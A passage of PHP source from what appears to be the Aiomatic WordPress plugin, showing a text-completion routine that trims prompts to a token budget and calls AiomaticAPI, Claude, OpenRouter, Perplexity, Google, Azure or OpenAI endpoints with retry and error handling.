                    if($available_tokens < AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                    {
                        $string_len = strlen($aicontent);
                        $string_len = $string_len / 2;
                        $string_len = intval(0 - $string_len);
                        $aicontent = aiomatic_substr($aicontent, 0, $string_len);
                        $aicontent = trim($aicontent);
                        if(empty($aicontent))
                        {
                            $error = 'Empty prompt returned after content trimming!';
                            return false;
                        }
                        $query_token_count = count(aiomatic_encode($aicontent));
                        $available_tokens = $max_tokens - $query_token_count;
                    }
                }
                $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                $stop = null;
                $session = aiomatic_get_session_id();
                $mode = 'text';
                $maxResults = 1;
                $query = new Aiomatic_Query($aicontent, $available_tokens, $model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, '', '');
                $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                if ( $ok !== true ) {
                    $error = $ok;
                    return false;
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true)
                {
                    aiomatic_log_to_file('Generating AI completion text using model: ' . $model . ' and prompt: ' . $aicontent);
                }
                $delay = '';
                if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                {
                    if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                    {
                        $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                        if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                        {
                            $delay = rand(trim($tempo[0]), trim($tempo[1]));
                        }
                    }
                    else
                    {
                        if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                        {
                            $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                        }
                    }
                }
                if($delay != '' && is_numeric($delay))
                {
                    usleep(intval($delay) * 1000);
                }
                if($temperature < 0 || $temperature > 1)
                {
                    $temperature = 1;
                }
                if($top_p < 0 || $top_p > 1)
                {
                    $top_p = 1;
                }
                if($presence_penalty < -2 || $presence_penalty > 2)
                {
                    $presence_penalty = 0;
                }
                if($frequency_penalty < -2 || $frequency_penalty > 2)
                {
                    $frequency_penalty = 0;
                }
                if($temperature == '' || (empty($temperature) && $temperature !== 0))
                {
                    $temperature = 1;
                }
                if($top_p == '' || (empty($top_p) && $top_p !== 0))
                {
                    $top_p = 1;
                }
                if($presence_penalty == '' || (empty($presence_penalty) && $presence_penalty !== 0))
                {
                    $presence_penalty = 0;
                }
                if($frequency_penalty == '' || (empty($frequency_penalty) && $frequency_penalty !== 0))
                {
                    $frequency_penalty = 0;
                }
                if(aiomatic_is_aiomaticapi_key($token))
                {
                    $pargs = array();
                    $api_url = 'https://aiomaticapi.com/apis/ai/v1/text/';
                    $pargs['apikey'] = trim($token);
                    $pargs['model'] = trim($model);
                    $pargs['temperature'] = $temperature;
                    $pargs['top_p'] = $top_p;
                    $pargs['presence_penalty'] = $presence_penalty;
                    $pargs['frequency_penalty'] = $frequency_penalty;
                    $pargs['prompt'] = trim($aicontent);
                    if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                    {
                        $pargs['max_tokens'] = $available_tokens;
                    }
                    $ai_response = aiomatic_get_web_page_api($api_url, $pargs);
                    if($ai_response === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get AiomaticAPI response!';
                            return false;
                        }
                    }
                    $ai_json = json_decode($ai_response);
                    if($ai_json === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->error))
                    {
                        if (stristr($ai_json->error, 'Your subscription expired, please renew it.') === false && stristr($ai_json->error, '[RATE LIMITED]') === false && isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after error failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error while processing AI response: ' . $ai_json->error;
                            return false;
                        }
                    }
                    if(!isset($ai_json->result))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after parse failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to parse AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->remainingtokens))
                    {
                        set_transient('aiomaticapi_tokens', $ai_json->remainingtokens, 86400);
                    }
                    $ai_json = apply_filters( 'aiomatic_ai_reply_raw', $ai_json, $aicontent );
                    apply_filters( 'aiomatic_ai_reply', $ai_json->result, $query );
                    return $ai_json->result;
                }
                elseif (aiomatic_is_claude_model($model)) 
                {
                    if(in_array($model, AIOMATIC_CLAUDE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Claude API: ' . $model;
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['app_id_claude']) || trim($aiomatic_Main_Settings['app_id_claude']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an Anthropic Claude API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_claude = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_claude']));
                    $appids_claude = array_filter($appids_claude);
                    $token_claude = $appids_claude[array_rand($appids_claude)];
                    $result = aiomatic_generate_text_local_claude($token_claude, $model, $aicontent, $temperature, $top_p, $available_tokens, $stream, $is_chat, $error);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Claude chat API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial Claude chat API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_is_openrouter_model($model)) 
                {
                    if (!isset($aiomatic_Main_Settings['app_id_openrouter']) || trim($aiomatic_Main_Settings['app_id_openrouter']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an OpenRouter API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_openrouter = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_openrouter']));
                    $appids_openrouter = array_filter($appids_openrouter);
                    $token_openrouter = $appids_openrouter[array_rand($appids_openrouter)];
                    $result = aiomatic_generate_text_openrouter($token_openrouter, $model, $aicontent, $temperature, $top_p, $available_tokens, $stream, $error);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') OpenRouter API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial OpenRouter API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_is_perplexity_model($model)) 
                {
                    if (!isset($aiomatic_Main_Settings['app_id_perplexity']) || trim($aiomatic_Main_Settings['app_id_perplexity']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an PerplexityAI API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_perplexity = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_perplexity']));
                    $appids_perplexity = array_filter($appids_perplexity);
                    $token_perplexity = $appids_perplexity[array_rand($appids_perplexity)];
                    $result = aiomatic_generate_text_perplexity($token_perplexity, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, $available_tokens, $stream, $retry_count, $query, false, '', $user_question, $env, $is_chat, $error, '');
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') PerplexityAI API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial PerplexityAI API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_is_google_model($model)) 
                {
                    if(in_array($model, AIOMATIC_GOOGLE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Google API: ' . $model;
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['app_id_google']) || trim($aiomatic_Main_Settings['app_id_google']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an Google Vertex API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_google = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_google']));
                    $appids_google = array_filter($appids_google);
                    $token_google = $appids_google[array_rand($appids_google)];
                    $result = aiomatic_generate_text_google($token_google, $model, $aicontent, $temperature, $top_p, $available_tokens, $stream, $is_chat, $error);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Google chat API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial Google chat API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_check_if_azure($aiomatic_Main_Settings)) 
                {
                    if (!isset($aiomatic_Main_Settings['azure_endpoint']) || trim($aiomatic_Main_Settings['azure_endpoint']) == '') 
                    {
                        $error = 'You need to enter an Azure Endpoint for this to work!';
                        return false;
                    }
                    if(in_array($model, AIOMATIC_AZURE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Azure API: ' . $model;
                        return false;
                    }
                    if(aiomatic_is_trained_model($model))
                    {
                        $error = 'Fine-tuned models are not supported for Azure API';
                        return false;
                    }
                    $localAzureDeployments = array();
                    $depl_arr = aiomatic_get_deployments($token);
                    if(is_array($depl_arr))
                    {
                        foreach($depl_arr as $dar)
                        {
                            $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                        }
                    }
                    $azureDeployment = '';
                    foreach ( $localAzureDeployments as $dmodel => $dname ) 
                    {
                        if ( $dmodel === str_replace('.', '', $model) || $dmodel === $model ) {
                            $azureDeployment = $dname;
                            break;
                        }
                    }
                    if ( $azureDeployment == '' ) 
                    {
                        $new_dep = aiomatic_update_deployments_azure($token);
                        if($new_dep !== false)
                        {
                            $localAzureDeployments = array();
                            foreach($new_dep as $dar)
                            {
                                $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                            }
                            foreach ( $localAzureDeployments as $dmodel => $dname ) 
                            {
                                if ( $dmodel === str_replace('.', '', $model) || $dmodel === $model ) {
                                    $azureDeployment = $dname;
                                    break;
                                }
                            }
                        }
                        if ( $azureDeployment == '' ) 
                        {
                            $error = 'No added Azure deployment found for completion model: ' . $model . ' - you need to add this model in your Azure Portal as a Deployment';
                            return false;
                        }
                    }
                    $apiurl = trailingslashit(trim($aiomatic_Main_Settings['azure_endpoint'])) . 'openai/deployments/' . $azureDeployment . '/completions' . AZURE_API_VERSION;
                    $base_params = [
                        'model' => str_replace('.', '', $model),
                        'prompt' => $aicontent,
                        'temperature' => $temperature,
                        'top_p' => $top_p,
                        'presence_penalty' => $presence_penalty,
                        'frequency_penalty' => $frequency_penalty
                    ];
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        $base_params['stream'] = true;
                    }
                    if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                    {
                        $base_params['max_tokens'] = $available_tokens;
                    }
                    try
                    {
                        $send_json = aiomatic_safe_json_encode($base_params);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in API payload encoding: ' . print_r($e->getMessage(), true);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode API payload: ' . print_r($base_params, true);
                        return false;
                    }
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        add_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $api_call = wp_remote_post(
                        $apiurl,
                        array(
                            'headers' => array( 'Content-Type' => 'application/json', 'api-key' => $token ),
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        remove_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($stream === false && $result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial API response: ' . print_r($api_call, true);
                                return false;
                            }
                        }
                        $is_error = false;
                        $sleep_time = false;
                        if(isset($result->error))
                        {
                            $result = $result->error;
                            $is_error = true;
                        }
                        if($is_error && isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your OpenAI quota limit. To fix this, if you are using a free OpenAI account, you need to add a VISA card to your account, as OpenAI heavily limits free accounts. Please check details here: https://platform.openai.com/docs/guides/rate-limits';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the Azure completions API, result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                    {
                                        $errmessage = $result->message;
                                        preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                        if(isset($htmlrez[1][0]))
                                        {
                                            $sleep_time = ceil(floatval($htmlrez[1][0]));
                                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                            {
                                                aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                            }
                                            sleep($sleep_time);
                                        }
                                    }
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after type failure: ' . print_r($api_call['body'], true));
                                    if($sleep_time === false)
                                    {
                                        sleep(pow(2, $retry_count));
                                    }
                                    return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI API: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        if(!$stream)
                        {
                            if(!isset($result->choices[0]->text))
                            {
                                delete_option('aiomatic_deployments_list');
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after choices failure: ' . print_r($api_call['body'], true));
                                    sleep(pow(2, $retry_count));
                                    return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                                }
                                else
                                {
                                    if(isset($result->code) && $result->code == 'content_filter')
                                    {
                                        $error = 'Error: The response was filtered by our content management policy.';
                                        return false;
                                    }
                                    else
                                    {
                                        $error = 'Error: Choices not found in initial API result: ' . print_r($result, true);
                                        return false;
                                    }
                                }
                            }
                            else
                            {
                                $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                                apply_filters( 'aiomatic_ai_reply', $result->choices[0]->text, $query );
                                if(isset($result->choices[0]->finish_reason))
                                {
                                    $finish_reason = $result->choices[0]->finish_reason;
                                }
                                else
                                {
                                    $finish_reason = $result->choices[0]->finish_details->type;
                                }
                                if($is_chat == true)
                                {
                                    $chat_max_characters = 16000;
                                    $max_continue_characters = 4000;
                                    if($finish_reason == 'stop')
                                    {
                                        if (empty($result->choices[0]->text) && isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $retry_count)
                                        {
                                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after AI writer ended conversation.');
                                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                                        }
                                        else
                                        {
                                            return $result->choices[0]->text;
                                        }
                                    }
                                    else
                                    {
                                        $return_text = $result->choices[0]->text;
                                        $aicontent .= $return_text;
                                        $complet_retry_count = 0;
                                        while($finish_reason != 'stop' && strlen($return_text) < $chat_max_characters)
                                        {
                                            if (isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $complet_retry_count)
                                            {
                                                break;
                                            }
                                            $complet_retry_count++;
                                            if(strlen($aicontent) > $max_continue_characters)
                                            {
                                                $aicontent = aiomatic_substr($aicontent, 0, (0 - $max_continue_characters));
                                            }
                                            $aicontent = trim($aicontent);
                                            if(empty($aicontent))
                                            {
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($aicontent));
                                            $available_tokens = $max_tokens - $query_token_count;
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($aicontent);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $aicontent = aiomatic_substr($aicontent, 0, $string_len);
                                                $aicontent = trim($aicontent);
                                                if(empty($aicontent))
                                                {
                                                    break;
                                                }
                                                $query_token_count = count(aiomatic_encode($aicontent));
                                                $available_tokens = $max_tokens - $query_token_count;
                                            }
                                            $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                                            if ( $ok !== true ) {
                                                aiomatic_log_to_file('Rate limited: ' . $ok);
                                                break;
                                            }
                                            $aierror = '';
                                            $generated_text = aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, 0, $finish_reason, $aierror, true, true, $stream, $user_question, $embedding_namespace);
                                            if($generated_text === false)
                                            {
                                                aiomatic_log_to_file('Chat response completion error: ' . $aierror);
                                                break;
                                            }
                                            else
                                            {
                                                $return_text .= $generated_text;
                                                $aicontent .= $generated_text;
                                            }
                                        }
                                        return $return_text;
                                    }
                                }
                                else
                                {
                                    return $result->choices[0]->text;
                                }
                            }
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                else
                {
                    $base_params = [
                        'model' => $model,
                        'prompt' => $aicontent,
                        'temperature' => $temperature,
                        'top_p' => $top_p,
                        'presence_penalty' => $presence_penalty,
                        'frequency_penalty' => $frequency_penalty
                    ];
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        $base_params['stream'] = true;
                    }
                    if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                    {
                        $base_params['max_tokens'] = $available_tokens;
                    }
                    if (isset($aiomatic_Main_Settings['ai_seed']) && $aiomatic_Main_Settings['ai_seed'] != '')
                    {
                        $base_params['seed'] = intval($aiomatic_Main_Settings['ai_seed']);
                    }
                    try
                    {
                        $send_json = aiomatic_safe_json_encode($base_params);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in API payload encoding: ' . print_r($e->getMessage(), true);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode API payload: ' . print_r($base_params, true);
                        return false;
                    }
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        add_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $xh = array(
                        'Content-Type' => 'application/json',
                        'Authorization' => 'Bearer ' . $token,
                    );
                    if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '')
                    {
                        $xh['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization'];
                    }
                    $api_call = wp_remote_post(
                        'https://api.openai.com/v1/completions',
                        array(
                            'headers' => $xh,
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        remove_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial API response: ' . print_r($api_call, true);
                                return false;
                            }
                        }
                        $is_error = false;
                        $sleep_time = false;
                        if(isset($result->error))
                        {
                            $result = $result->error;
                            $is_error = true;
                        }
                        if($is_error && isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your OpenAI quota limit for this API key. To fix this, if you are using a free OpenAI account, you need to add a VISA card to your account, as OpenAI heavily limits free accounts. Please check details here: https://platform.openai.com/docs/guides/rate-limits';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the completions API, result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                    {
                                        $errmessage = $result->message;
